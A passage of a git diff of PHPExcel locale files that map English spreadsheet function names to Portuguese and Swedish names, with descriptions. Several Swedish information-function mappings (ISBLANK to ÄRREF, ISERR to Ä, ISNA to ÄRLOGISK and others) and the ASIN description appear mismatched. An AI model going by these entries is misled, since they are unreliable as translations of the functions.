referência ou numa matriz +OFFSET = DESLOCAMENTO ## Devolve o deslocamento de referência de uma determinada referência +ROW = LIN ## Devolve o número da linha de uma referência +ROWS = LINS ## Devolve o número de linhas numa referência +RTD = RTD ## Obtém dados em tempo real a partir de um programa que suporte automatização COM (automatização: modo de trabalhar com objectos de uma aplicação a partir de outra aplicação ou ferramenta de desenvolvimento. Anteriormente conhecida como automatização OLE, a automatização é uma norma da indústria de software e uma funcionalidade COM (Component Object Model).) +TRANSPOSE = TRANSPOR ## Devolve a transposição de uma matriz +VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e percorre a linha para devolver o valor de uma célula + + +## +## Math and trigonometry functions Funções matemáticas e trigonométricas +## +ABS = ABS ## Devolve o valor absoluto de um número +ACOS = ACOS ## Devolve o arco de co-seno de um número +ACOSH = ACOSH ## Devolve o co-seno hiperbólico inverso de um número +ASIN = ASEN ## Devolve o arco de seno de um número +ASINH = ASENH ## Devolve o seno hiperbólico inverso de um número +ATAN = ATAN ## Devolve o arco de tangente de um número +ATAN2 = ATAN2 ## Devolve o arco de tangente das coordenadas x e y +ATANH = ATANH ## Devolve a tangente hiperbólica inversa de um número +CEILING = ARRED.EXCESSO ## Arredonda um número para o número inteiro mais próximo ou para o múltiplo de significância mais próximo +COMBIN = COMBIN ## Devolve o número de combinações de um determinado número de objectos +COS = COS ## Devolve o co-seno de um número +COSH = COSH ## Devolve o co-seno hiperbólico de um número +DEGREES = GRAUS ## Converte radianos em graus +EVEN = PAR ## Arredonda um número por excesso para o número inteiro mais próximo +EXP = EXP ## Devolve e elevado à potência de um determinado número +FACT = FACTORIAL ## Devolve o factorial de um número +FACTDOUBLE = FACTDUPLO ## Devolve o factorial duplo de um número +FLOOR = ARRED.DEFEITO ## Arredonda um número por defeito até zero +GCD = MDC ## Devolve o maior divisor comum +INT = INT ## Arredonda um número por defeito para o número inteiro mais próximo +LCM = MMC ## Devolve o mínimo múltiplo comum +LN = LN ## Devolve o logaritmo natural de um número +LOG = LOG ## Devolve o logaritmo de um número com uma base especificada +LOG10 = LOG10 ## Devolve o logaritmo de base 10 de um número +MDETERM = MATRIZ.DETERM ## Devolve o determinante matricial de uma matriz +MINVERSE = MATRIZ.INVERSA ## Devolve o inverso matricial de uma matriz +MMULT = MATRIZ.MULT ## Devolve o produto matricial de duas matrizes +MOD = RESTO ## Devolve o resto da divisão +MROUND = MARRED ## Devolve um número arredondado para o múltiplo pretendido +MULTINOMIAL = POLINOMIAL ## Devolve o polinomial de um conjunto de números +ODD = ÍMPAR ## Arredonda por excesso um número para o número inteiro ímpar mais próximo +PI = PI ## Devolve o valor de pi +POWER = POTÊNCIA ## Devolve o resultado de um número elevado a uma potência +PRODUCT = PRODUTO ## Multiplica os respectivos argumentos +QUOTIENT = QUOCIENTE ## Devolve a parte inteira de uma divisão +RADIANS = RADIANOS ## Converte graus em radianos +RAND = ALEATÓRIO ## Devolve um número aleatório entre 0 e 1 +RANDBETWEEN = ALEATÓRIOENTRE ## Devolve um número aleatório entre os números especificados +ROMAN = ROMANO ## Converte um número árabe em romano, como texto +ROUND = ARRED ## Arredonda um número para um número de dígitos especificado +ROUNDDOWN = ARRED.PARA.BAIXO ## Arredonda um número por defeito até zero +ROUNDUP = ARRED.PARA.CIMA ## Arredonda um número por excesso, afastando-o de zero +SERIESSUM = SOMASÉRIE ## Devolve a soma de uma série de potências baseada na fórmula +SIGN = SINAL ## Devolve o sinal de um número +SIN = SEN ## Devolve o seno de um determinado ângulo +SINH = SENH ## Devolve o seno hiperbólico de um número +SQRT = RAIZQ ## Devolve uma raiz quadrada positiva +SQRTPI = RAIZPI ## Devolve a raiz quadrada de (núm * pi) +SUBTOTAL = SUBTOTAL ## Devolve um subtotal numa lista ou base de dados +SUM = SOMA ## Adiciona os respectivos argumentos +SUMIF = SOMA.SE ## Adiciona as células especificadas por um determinado critério +SUMIFS = SOMA.SE.S ## Adiciona as células num intervalo que cumpre vários critérios +SUMPRODUCT = SOMARPRODUTO ## Devolve a soma dos produtos de componentes de matrizes correspondentes +SUMSQ = SOMARQUAD ## Devolve a soma dos quadrados dos argumentos +SUMX2MY2 = SOMAX2DY2 ## Devolve a soma da diferença dos quadrados dos valores correspondentes em duas matrizes +SUMX2PY2 = SOMAX2SY2 ## Devolve a soma da soma dos quadrados dos valores correspondentes em duas matrizes +SUMXMY2 = SOMAXMY2 ## Devolve a soma dos quadrados da diferença dos valores correspondentes em duas matrizes +TAN = TAN ## Devolve a tangente de um número +TANH = TANH ## Devolve a tangente hiperbólica de um número +TRUNC = TRUNCAR ## Trunca um número para um número inteiro + + +## +## Statistical functions Funções estatísticas +## +AVEDEV = DESV.MÉDIO ## Devolve a média aritmética dos desvios absolutos à média dos pontos de dados +AVERAGE = MÉDIA ## Devolve a média dos respectivos argumentos +AVERAGEA = MÉDIAA ## Devolve uma média dos respectivos argumentos, incluindo números, texto e valores lógicos +AVERAGEIF = MÉDIA.SE ## Devolve a média aritmética de todas as células num intervalo que cumprem determinado critério +AVERAGEIFS = MÉDIA.SE.S ## Devolve a média aritmética de todas as células que cumprem múltiplos critérios +BETADIST = DISTBETA ## Devolve a função de distribuição cumulativa beta +BETAINV = BETA.ACUM.INV ## Devolve o inverso da função de distribuição cumulativa relativamente a uma distribuição beta específica +BINOMDIST = DISTRBINOM ## Devolve a probabilidade de distribuição binomial de termo individual +CHIDIST = DIST.CHI ## Devolve a probabilidade unicaudal da distribuição qui-quadrada +CHIINV = INV.CHI ## Devolve o inverso da probabilidade unicaudal da distribuição qui-quadrada +CHITEST = TESTE.CHI ## Devolve o teste para independência +CONFIDENCE = INT.CONFIANÇA ## Devolve o intervalo de confiança correspondente a uma média de população +CORREL = CORREL ## Devolve o coeficiente de correlação entre dois conjuntos de dados +COUNT = CONTAR ## Conta os números que existem na lista de argumentos +COUNTA = CONTAR.VAL ## Conta os valores que existem na lista de argumentos +COUNTBLANK = CONTAR.VAZIO ## Conta o número de células em branco num intervalo +COUNTIF = CONTAR.SE ## Calcula o número de células num intervalo que corresponde aos critérios determinados +COUNTIFS = CONTAR.SE.S ## Conta o número de células num intervalo que cumprem múltiplos critérios +COVAR = COVAR ## Devolve a covariância, que é a média dos produtos de desvios de pares +CRITBINOM = CRIT.BINOM ## Devolve o menor valor em que a distribuição binomial cumulativa é inferior ou igual a um valor de critério +DEVSQ = DESVQ ## Devolve a soma dos quadrados dos desvios +EXPONDIST = DISTEXPON ## Devolve a distribuição exponencial +FDIST = DISTF ## Devolve a distribuição da probabilidade F +FINV = INVF ## Devolve o inverso da distribuição da probabilidade F +FISHER = FISHER ## Devolve a transformação Fisher +FISHERINV = FISHERINV ## Devolve o inverso da transformação Fisher +FORECAST = PREVISÃO ## Devolve um valor ao longo de uma tendência linear +FREQUENCY = FREQUÊNCIA ## Devolve uma distribuição de frequência como uma matriz vertical +FTEST = TESTEF ## Devolve o resultado de um teste F +GAMMADIST = DISTGAMA ## Devolve a distribuição gama +GAMMAINV = INVGAMA ## Devolve o inverso da distribuição gama cumulativa +GAMMALN = LNGAMA ## Devolve o logaritmo natural da função gama, Γ(x) +GEOMEAN = MÉDIA.GEOMÉTRICA ## Devolve a média geométrica +GROWTH = CRESCIMENTO ## Devolve valores ao longo de uma tendência exponencial +HARMEAN = MÉDIA.HARMÓNICA ## Devolve a média harmónica +HYPGEOMDIST = DIST.HIPERGEOM ## Devolve a distribuição hipergeométrica +INTERCEPT = INTERCEPTAR ## Devolve a intercepção da linha de regressão linear +KURT = CURT ## Devolve a curtose de um conjunto de dados +LARGE = MAIOR ## Devolve o maior valor k-ésimo de um conjunto de dados +LINEST = PROJ.LIN ## Devolve os parâmetros de uma tendência linear +LOGEST = PROJ.LOG ## Devolve os parâmetros de uma tendência exponencial +LOGINV = INVLOG ## Devolve o inverso da distribuição normal logarítmica +LOGNORMDIST = DIST.NORMALLOG ## Devolve a distribuição normal logarítmica cumulativa +MAX = MÁXIMO ## Devolve o valor máximo numa lista de argumentos +MAXA = MÁXIMOA ## Devolve o valor máximo numa lista de argumentos, incluindo números, texto e valores lógicos +MEDIAN = MED ## Devolve a mediana dos números indicados +MIN = MÍNIMO ## Devolve o valor mínimo numa lista de argumentos +MINA = MÍNIMOA ## Devolve o valor mínimo numa lista de argumentos, incluindo números, texto e valores lógicos +MODE = MODA ## Devolve o valor mais comum num conjunto de dados +NEGBINOMDIST = DIST.BIN.NEG ## Devolve a distribuição binominal negativa +NORMDIST = DIST.NORM ## Devolve a distribuição cumulativa normal +NORMINV = INV.NORM ## Devolve o inverso da distribuição cumulativa normal +NORMSDIST = DIST.NORMP ## Devolve a distribuição cumulativa normal padrão +NORMSINV = INV.NORMP ## Devolve o inverso da distribuição cumulativa normal padrão +PEARSON = PEARSON ## Devolve o coeficiente de correlação momento/produto de Pearson +PERCENTILE = PERCENTIL ## Devolve o k-ésimo percentil de valores num intervalo +PERCENTRANK = ORDEM.PERCENTUAL ## Devolve a ordem percentual de um valor num conjunto de dados +PERMUT = PERMUTAR ## Devolve o número de permutações de um determinado número de objectos +POISSON = POISSON ## Devolve a distribuição de Poisson +PROB = PROB ## Devolve a probabilidade dos valores num intervalo se encontrarem entre dois limites +QUARTILE = QUARTIL ## Devolve o quartil de um conjunto de dados +RANK = ORDEM ## Devolve a ordem de um número numa lista numérica +RSQ = RQUAD ## Devolve o quadrado do coeficiente de correlação momento/produto de Pearson +SKEW = DISTORÇÃO ## Devolve a distorção de uma distribuição +SLOPE = DECLIVE ## Devolve o declive da linha de regressão linear +SMALL = MENOR ## Devolve o menor valor de k-ésimo de um conjunto de dados +STANDARDIZE = NORMALIZAR ## Devolve um valor normalizado +STDEV = DESVPAD ## Calcula o desvio-padrão com base numa amostra +STDEVA = DESVPADA ## Calcula o desvio-padrão com base numa amostra, incluindo números, texto e valores lógicos +STDEVP = DESVPADP ## Calcula o desvio-padrão com base na população total +STDEVPA = DESVPADPA ## Calcula o desvio-padrão com base na população total, incluindo números, texto e valores lógicos +STEYX = EPADYX ## Devolve o erro-padrão do valor de y previsto para cada x na regressão +TDIST = DISTT ## Devolve a distribuição t de Student +TINV = INVT ## Devolve o inverso da distribuição t de Student +TREND = TENDÊNCIA ## Devolve valores ao longo de uma tendência linear +TRIMMEAN = MÉDIA.INTERNA ## Devolve a média do interior de um conjunto de dados +TTEST = TESTET ## Devolve a probabilidade associada ao teste t de Student +VAR = VAR ## Calcula a variância com base numa amostra +VARA = VARA ## Calcula a variância com base numa amostra, incluindo números, texto e valores lógicos +VARP = VARP ## Calcula a variância com base na população total +VARPA = VARPA ## Calcula a variância com base na população total, incluindo números, texto e valores lógicos +WEIBULL = WEIBULL ## Devolve a distribuição Weibull +ZTEST = TESTEZ ## Devolve o valor de probabilidade unicaudal de um teste-z + + +## +## Text functions Funções de texto +## +ASC = ASC ## Altera letras ou katakana de largura total (byte duplo) numa cadeia de caracteres para caracteres de largura média (byte único) +BAHTTEXT = TEXTO.BAHT ## Converte um número em texto, utilizando o formato monetário ß (baht) +CHAR = CARÁCT ## Devolve o carácter especificado pelo número de código +CLEAN = LIMPAR ## Remove do texto todos os caracteres não imprimíveis +CODE = CÓDIGO ## Devolve um código numérico correspondente ao primeiro carácter numa cadeia de texto +CONCATENATE = CONCATENAR ## Agrupa vários itens de texto num único item de texto +DOLLAR = MOEDA ## Converte um número em texto, utilizando o formato monetário € (Euro) +EXACT = EXACTO ## Verifica se dois valores de texto são idênticos +FIND = LOCALIZAR ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) +FINDB = LOCALIZARB ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) +FIXED = FIXA ## Formata um número como texto com um número fixo de decimais +JIS = JIS ## Altera letras ou katakana de largura média (byte único) numa cadeia de caracteres para caracteres de largura total (byte duplo) +LEFT = ESQUERDA ## Devolve os caracteres mais à esquerda de um valor de texto +LEFTB = ESQUERDAB ## Devolve os caracteres mais à esquerda de um valor de texto +LEN = NÚM.CARACT ## Devolve o número de caracteres de uma cadeia de texto +LENB = NÚM.CARACTB ## Devolve o número de caracteres de uma cadeia de texto +LOWER = MINÚSCULAS ## Converte o texto em minúsculas +MID = SEG.TEXTO ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada +MIDB = SEG.TEXTOB ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada +PHONETIC = FONÉTICA ## Retira os caracteres fonéticos (furigana) de uma cadeia de texto +PROPER = INICIAL.MAIÚSCULA ## Coloca em maiúsculas a primeira letra de cada palavra de um valor de texto +REPLACE = SUBSTITUIR ## Substitui caracteres no texto +REPLACEB = SUBSTITUIRB ## Substitui caracteres no texto +REPT = REPETIR ## Repete texto um determinado número de vezes +RIGHT = DIREITA ## Devolve os caracteres mais à direita de um valor de texto +RIGHTB = DIREITAB ## Devolve os caracteres mais à direita de um valor de texto +SEARCH = PROCURAR ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) +SEARCHB = PROCURARB ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) +SUBSTITUTE = SUBST ## Substitui texto novo por texto antigo numa cadeia de texto +T = T ## Converte os respectivos argumentos em texto +TEXT = TEXTO ## Formata um número e converte-o em texto +TRIM = COMPACTAR ## Remove espaços do texto +UPPER = MAIÚSCULAS ## Converte texto em maiúsculas +VALUE = VALOR ## Converte um argumento de texto num número diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/sv/functions b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/sv/functions index 73b2deb5..9af37d8e 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/sv/functions +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/sv/functions @@ -1,408 +1,408 @@ -## -## Add-in and Automation functions Tilläggs- och automatiseringsfunktioner -## -GETPIVOTDATA = HÄMTA.PIVOTDATA ## Returnerar data som lagrats i en pivottabellrapport - - -## -## Cube functions Kubfunktioner -## -CUBEKPIMEMBER = KUBKPIMEDLEM ## Returnerar namn, egenskap och mått för en KPI och visar namnet och egenskapen i cellen. En KPI, eller prestandaindikator, är ett kvantifierbart mått, t.ex. månatlig bruttovinst eller personalomsättning per kvartal, som används för att analysera ett företags resultat. -CUBEMEMBER = KUBMEDLEM ## Returnerar en medlem eller ett par i en kubhierarki. Används för att verifiera att medlemmen eller paret finns i kuben. -CUBEMEMBERPROPERTY = KUBMEDLEMSEGENSKAP ## Returnerar värdet för en medlemsegenskap i kuben. Används för att verifiera att ett medlemsnamn finns i kuben, samt för att returnera den angivna egenskapen för medlemmen. -CUBERANKEDMEMBER = KUBRANGORDNADMEDLEM ## Returnerar den n:te, eller rangordnade, medlemmen i en uppsättning. Används för att returnera ett eller flera element i en uppsättning, till exempelvis den bästa försäljaren eller de tio bästa eleverna. -CUBESET = KUBINSTÄLLNING ## Definierar en beräknad uppsättning medlemmar eller par genom att skicka ett bestämt uttryck till kuben på servern, som skapar uppsättningen och sedan returnerar den till Microsoft Office Excel. -CUBESETCOUNT = KUBINSTÄLLNINGANTAL ## Returnerar antalet objekt i en uppsättning. -CUBEVALUE = KUBVÄRDE ## Returnerar ett mängdvärde från en kub. - - -## -## Database functions Databasfunktioner -## -DAVERAGE = DMEDEL ## Returnerar medelvärdet av databasposterna -DCOUNT = DANTAL ## Räknar antalet celler som innehåller tal i en databas -DCOUNTA = DANTALV ## Räknar ifyllda celler i en databas -DGET = DHÄMTA ## Hämtar en enstaka post från en databas som uppfyller de angivna villkoren -DMAX = DMAX ## Returnerar det största värdet från databasposterna -DMIN = DMIN ## Returnerar det minsta värdet från databasposterna -DPRODUCT = DPRODUKT ## Multiplicerar värdena i ett visst fält i poster som uppfyller villkoret -DSTDEV = DSTDAV ## Uppskattar standardavvikelsen baserat på ett urval av databasposterna -DSTDEVP = DSTDAVP ## Beräknar standardavvikelsen utifrån hela populationen av valda databasposter -DSUM = DSUMMA ## Summerar talen i kolumnfält i databasposter som uppfyller villkoret -DVAR = DVARIANS ## Uppskattar variansen baserat på ett urval av databasposterna -DVARP = DVARIANSP ## Beräknar variansen utifrån hela populationen av valda databasposter - - -## -## Date and time functions Tid- och datumfunktioner -## -DATE = DATUM ## Returnerar ett serienummer för ett visst datum -DATEVALUE = DATUMVÄRDE ## Konverterar ett datum i textformat till ett serienummer -DAY = DAG ## Konverterar ett serienummer till dag i månaden -DAYS360 = DAGAR360 ## Beräknar antalet dagar mellan två datum baserat på ett 360-dagarsår -EDATE = EDATUM ## Returnerar serienumret för ett datum som infaller ett visst antal månader före eller efter startdatumet -EOMONTH = SLUTMÅNAD ## Returnerar serienumret för sista dagen i månaden ett visst antal månader tidigare eller senare -HOUR = TIMME ## Konverterar ett serienummer till en timme -MINUTE = MINUT ## Konverterar ett serienummer till en minut -MONTH = MÅNAD ## Konverterar ett serienummer till en månad -NETWORKDAYS = NETTOARBETSDAGAR ## Returnerar antalet hela arbetsdagar mellan två datum -NOW = NU ## Returnerar serienumret för dagens datum och aktuell tid -SECOND = SEKUND ## Konverterar ett serienummer till en sekund -TIME = KLOCKSLAG ## Returnerar serienumret för en viss tid -TIMEVALUE = TIDVÄRDE ## Konverterar en tid i textformat till ett serienummer -TODAY = IDAG ## Returnerar serienumret för dagens datum -WEEKDAY = VECKODAG ## Konverterar ett serienummer till en dag i veckan -WEEKNUM = VECKONR ## Konverterar ett serienummer till ett veckonummer -WORKDAY = ARBETSDAGAR ## Returnerar serienumret för ett datum ett visst antal arbetsdagar tidigare eller senare -YEAR = ÅR ## Konverterar ett serienummer till ett år -YEARFRAC = ÅRDEL ## Returnerar en del av ett år som representerar antalet hela dagar mellan start- och slutdatum - - -## -## Engineering functions Tekniska funktioner -## -BESSELI = BESSELI ## Returnerar den modifierade Bessel-funktionen In(x) -BESSELJ = BESSELJ ## Returnerar Bessel-funktionen Jn(x) -BESSELK = BESSELK ## Returnerar den modifierade Bessel-funktionen Kn(x) -BESSELY = BESSELY ## Returnerar Bessel-funktionen Yn(x) -BIN2DEC = BIN.TILL.DEC ## Omvandlar ett binärt tal till decimalt -BIN2HEX = BIN.TILL.HEX ## Omvandlar ett binärt tal till hexadecimalt -BIN2OCT = BIN.TILL.OKT ## Omvandlar ett binärt tal till oktalt -COMPLEX = KOMPLEX ## Omvandlar reella och imaginära koefficienter till ett komplext tal -CONVERT = KONVERTERA ## Omvandlar ett tal från ett måttsystem till ett annat -DEC2BIN = DEC.TILL.BIN ## Omvandlar ett decimalt tal till binärt -DEC2HEX = DEC.TILL.HEX ## Omvandlar ett decimalt tal till hexadecimalt -DEC2OCT = DEC.TILL.OKT ## Omvandlar ett decimalt tal till oktalt -DELTA = DELTA ## Testar om två värden är lika -ERF = FELF ## Returnerar felfunktionen -ERFC = FELFK ## Returnerar den komplementära felfunktionen -GESTEP = SLSTEG ## Testar om ett tal är större än ett tröskelvärde -HEX2BIN = HEX.TILL.BIN ## Omvandlar ett hexadecimalt tal till binärt -HEX2DEC = HEX.TILL.DEC ## Omvandlar ett hexadecimalt tal till decimalt -HEX2OCT = HEX.TILL.OKT ## Omvandlar ett hexadecimalt tal till oktalt -IMABS = IMABS ## Returnerar absolutvärdet (modulus) för ett komplext tal -IMAGINARY = IMAGINÄR ## Returnerar den imaginära koefficienten för ett komplext tal -IMARGUMENT = IMARGUMENT ## Returnerar det komplexa talets argument, en vinkel uttryckt i radianer -IMCONJUGATE = IMKONJUGAT ## Returnerar det komplexa talets konjugat -IMCOS = IMCOS ## Returnerar cosinus för ett komplext tal -IMDIV = IMDIV ## Returnerar kvoten för två komplexa tal -IMEXP = IMEUPPHÖJT ## Returnerar exponenten för ett komplext tal -IMLN = IMLN ## Returnerar den naturliga logaritmen för ett komplext tal -IMLOG10 = IMLOG10 ## Returnerar 10-logaritmen för ett komplext tal -IMLOG2 = IMLOG2 ## Returnerar 2-logaritmen för ett komplext tal -IMPOWER = IMUPPHÖJT ## Returnerar ett komplext tal upphöjt till en exponent -IMPRODUCT = IMPRODUKT ## Returnerar produkten av komplexa tal -IMREAL = IMREAL ## Returnerar den reella koefficienten för ett komplext tal -IMSIN = IMSIN ## Returnerar sinus för ett komplext tal -IMSQRT = IMROT ## Returnerar kvadratroten av ett komplext tal -IMSUB = IMDIFF ## Returnerar differensen mellan två komplexa tal -IMSUM = IMSUM ## Returnerar summan av komplexa tal -OCT2BIN = OKT.TILL.BIN ## Omvandlar ett oktalt tal till binärt -OCT2DEC = OKT.TILL.DEC ## Omvandlar ett oktalt tal till decimalt -OCT2HEX = OKT.TILL.HEX ## Omvandlar ett oktalt tal till hexadecimalt - - -## -## Financial functions Finansiella funktioner -## -ACCRINT = UPPLRÄNTA ## Returnerar den upplupna räntan för värdepapper med periodisk ränta -ACCRINTM = UPPLOBLRÄNTA ## Returnerar den upplupna räntan för ett värdepapper som ger avkastning på förfallodagen -AMORDEGRC = AMORDEGRC ## Returnerar avskrivningen för varje redovisningsperiod med hjälp av en avskrivningskoefficient -AMORLINC = AMORLINC ## Returnerar avskrivningen för varje redovisningsperiod -COUPDAYBS = KUPDAGBB ## Returnerar antal dagar från början av kupongperioden till likviddagen -COUPDAYS = KUPDAGARS ## Returnerar antalet dagar i kupongperioden som innehåller betalningsdatumet -COUPDAYSNC = KUPDAGNK ## Returnerar antalet dagar från betalningsdatumet till nästa kupongdatum -COUPNCD = KUPNKD ## Returnerar nästa kupongdatum efter likviddagen -COUPNUM = KUPANT ## Returnerar kuponger som förfaller till betalning mellan likviddagen och förfallodagen -COUPPCD = KUPFKD ## Returnerar föregående kupongdatum före likviddagen -CUMIPMT = KUMRÄNTA ## Returnerar den ackumulerade räntan som betalats mellan två perioder -CUMPRINC = KUMPRIS ## Returnerar det ackumulerade kapitalbeloppet som betalats på ett lån mellan två perioder -DB = DB ## Returnerar avskrivningen för en tillgång under en angiven tid enligt metoden för fast degressiv avskrivning -DDB = DEGAVSKR ## Returnerar en tillgångs värdeminskning under en viss period med hjälp av dubbel degressiv avskrivning eller någon annan metod som du anger -DISC = DISK ## Returnerar diskonteringsräntan för ett värdepapper -DOLLARDE = DECTAL ## Omvandlar ett pris uttryckt som ett bråk till ett decimaltal -DOLLARFR = BRÅK ## Omvandlar ett pris i kronor uttryckt som ett decimaltal till ett bråk -DURATION = LÖPTID ## Returnerar den årliga löptiden för en säkerhet med periodiska räntebetalningar -EFFECT = EFFRÄNTA ## Returnerar den årliga effektiva räntesatsen -FV = SLUTVÄRDE ## Returnerar det framtida värdet på en investering -FVSCHEDULE = FÖRRÄNTNING ## Returnerar det framtida värdet av ett begynnelsekapital beräknat på olika räntenivåer -INTRATE = ÅRSRÄNTA ## Returnerar räntesatsen för ett betalt värdepapper -IPMT = RBETALNING ## Returnerar räntedelen av en betalning för en given period -IRR = IR ## Returnerar internräntan för en serie betalningar -ISPMT = RALÅN ## Beräknar räntan som har betalats under en specifik betalningsperiod -MDURATION = MLÖPTID ## Returnerar den modifierade Macauley-löptiden för ett värdepapper med det antagna nominella värdet 100 kr -MIRR = MODIR ## Returnerar internräntan där positiva och negativa betalningar finansieras med olika räntor -NOMINAL = NOMRÄNTA ## Returnerar den årliga nominella räntesatsen -NPER = PERIODER ## Returnerar antalet perioder för en investering -NPV = NETNUVÄRDE ## Returnerar nuvärdet av en serie periodiska betalningar vid en given diskonteringsränta -ODDFPRICE = UDDAFPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda första period -ODDFYIELD = UDDAFAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda första period -ODDLPRICE = UDDASPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda sista period -ODDLYIELD = UDDASAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda sista period -PMT = BETALNING ## Returnerar den periodiska betalningen för en annuitet -PPMT = AMORT ## Returnerar amorteringsdelen av en annuitetsbetalning för en given period -PRICE = PRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger periodisk ränta -PRICEDISC = PRISDISK ## Returnerar priset per 100 kr nominellt värde för ett diskonterat värdepapper -PRICEMAT = PRISFÖRF ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger ränta på förfallodagen -PV = PV ## Returnerar nuvärdet av en serie lika stora periodiska betalningar -RATE = RÄNTA ## Returnerar räntesatsen per period i en annuitet -RECEIVED = BELOPP ## Returnerar beloppet som utdelas på förfallodagen för ett betalat värdepapper -SLN = LINAVSKR ## Returnerar den linjära avskrivningen för en tillgång under en period -SYD = ÅRSAVSKR ## Returnerar den årliga avskrivningssumman för en tillgång under en angiven period -TBILLEQ = SSVXEKV ## Returnerar avkastningen motsvarande en obligation för en statsskuldväxel -TBILLPRICE = SSVXPRIS ## Returnerar priset per 100 kr nominellt värde för en statsskuldväxel -TBILLYIELD = SSVXRÄNTA ## Returnerar avkastningen för en statsskuldväxel -VDB = VDEGRAVSKR ## Returnerar avskrivningen för en tillgång under en angiven period (med degressiv avskrivning) -XIRR = XIRR ## Returnerar internräntan för en serie betalningar som inte nödvändigtvis är periodiska -XNPV = XNUVÄRDE ## Returnerar det nuvarande nettovärdet för en serie betalningar som inte nödvändigtvis är periodiska -YIELD = NOMAVK ## Returnerar avkastningen för ett värdepapper som ger periodisk ränta -YIELDDISC = NOMAVKDISK ## Returnerar den årliga avkastningen för diskonterade värdepapper, exempelvis en statsskuldväxel -YIELDMAT = NOMAVKFÖRF ## Returnerar den årliga avkastningen för ett värdepapper som ger ränta på förfallodagen - - -## -## Information functions Informationsfunktioner -## -CELL = CELL ## Returnerar information om formatering, plats och innehåll i en cell -ERROR.TYPE = FEL.TYP ## Returnerar ett tal som motsvarar ett felvärde -INFO = INFO ## Returnerar information om operativsystemet -ISBLANK = ÄRREF ## Returnerar SANT om värdet är tomt -ISERR = Ä ## Returnerar SANT om värdet är ett felvärde annat än #SAKNAS! -ISERROR = ÄRFEL ## Returnerar SANT om värdet är ett felvärde -ISEVEN = ÄRJÄMN ## Returnerar SANT om talet är jämnt -ISLOGICAL = ÄREJTEXT ## Returnerar SANT om värdet är ett logiskt värde -ISNA = ÄRLOGISK ## Returnerar SANT om värdet är felvärdet #SAKNAS! -ISNONTEXT = ÄRSAKNAD ## Returnerar SANT om värdet inte är text -ISNUMBER = ÄRTAL ## Returnerar SANT om värdet är ett tal -ISODD = ÄRUDDA ## Returnerar SANT om talet är udda -ISREF = ÄRTOM ## Returnerar SANT om värdet är en referens -ISTEXT = ÄRTEXT ## Returnerar SANT om värdet är text -N = N ## Returnerar ett värde omvandlat till ett tal -NA = SAKNAS ## Returnerar felvärdet #SAKNAS! -TYPE = VÄRDETYP ## Returnerar ett tal som anger värdets datatyp - - -## -## Logical functions Logiska funktioner -## -AND = OCH ## Returnerar SANT om alla argument är sanna -FALSE = FALSKT ## Returnerar det logiska värdet FALSKT -IF = OM ## Anger vilket logiskt test som ska utföras -IFERROR = OMFEL ## Returnerar ett värde som du anger om en formel utvärderar till ett fel; annars returneras resultatet av formeln -NOT = ICKE ## Inverterar logiken för argumenten -OR = ELLER ## Returnerar SANT om något argument är SANT -TRUE = SANT ## Returnerar det logiska värdet SANT - - -## -## Lookup and reference functions Sök- och referensfunktioner -## -ADDRESS = ADRESS ## Returnerar en referens som text till en enstaka cell i ett kalkylblad -AREAS = OMRÅDEN ## Returnerar antalet områden i en referens -CHOOSE = VÄLJ ## Väljer ett värde i en lista över värden -COLUMN = KOLUMN ## Returnerar kolumnnumret för en referens -COLUMNS = KOLUMNER ## Returnerar antalet kolumner i en referens -HLOOKUP = LETAKOLUMN ## Söker i den översta raden i en matris och returnerar värdet för angiven cell -HYPERLINK = HYPERLÄNK ## Skapar en genväg eller ett hopp till ett dokument i nätverket, i ett intranät eller på Internet -INDEX = INDEX ## Använder ett index för ett välja ett värde i en referens eller matris -INDIRECT = INDIREKT ## Returnerar en referens som anges av ett textvärde -LOOKUP = LETAUPP ## Letar upp värden i en vektor eller matris -MATCH = PASSA ## Letar upp värden i en referens eller matris -OFFSET = FÖRSKJUTNING ## Returnerar en referens förskjuten i förhållande till en given referens -ROW = RAD ## Returnerar radnumret för en referens -ROWS = RADER ## Returnerar antalet rader i en referens -RTD = RTD ## Hämtar realtidsdata från ett program som stöder COM-automation (Automation: Ett sätt att arbeta med ett programs objekt från ett annat program eller utvecklingsverktyg. Detta kallades tidigare för OLE Automation, och är en branschstandard och ingår i Component Object Model (COM).) -TRANSPOSE = TRANSPONERA ## Transponerar en matris -VLOOKUP = LETARAD ## Letar i den första kolumnen i en matris och flyttar över raden för att returnera värdet för en cell - - -## -## Math and trigonometry functions Matematiska och trigonometriska funktioner -## -ABS = ABS ## Returnerar absolutvärdet av ett tal -ACOS = ARCCOS ## Returnerar arcus cosinus för ett tal -ACOSH = ARCCOSH ## Returnerar inverterad hyperbolisk cosinus för ett tal -ASIN = ARCSIN ## Returnerar arcus cosinus för ett tal -ASINH = ARCSINH ## Returnerar hyperbolisk arcus sinus för ett tal -ATAN = ARCTAN ## Returnerar arcus tangens för ett tal -ATAN2 = ARCTAN2 ## Returnerar arcus tangens för en x- och en y- koordinat -ATANH = ARCTANH ## Returnerar hyperbolisk arcus tangens för ett tal -CEILING = RUNDA.UPP ## Avrundar ett tal till närmaste heltal eller närmaste signifikanta multipel -COMBIN = KOMBIN ## Returnerar antalet kombinationer för ett givet antal objekt -COS = COS ## Returnerar cosinus för ett tal -COSH = COSH ## Returnerar hyperboliskt cosinus för ett tal -DEGREES = GRADER ## Omvandlar radianer till grader -EVEN = JÄMN ## Avrundar ett tal uppåt till närmaste heltal -EXP = EXP ## Returnerar e upphöjt till ett givet tal -FACT = FAKULTET ## Returnerar fakulteten för ett tal -FACTDOUBLE = DUBBELFAKULTET ## Returnerar 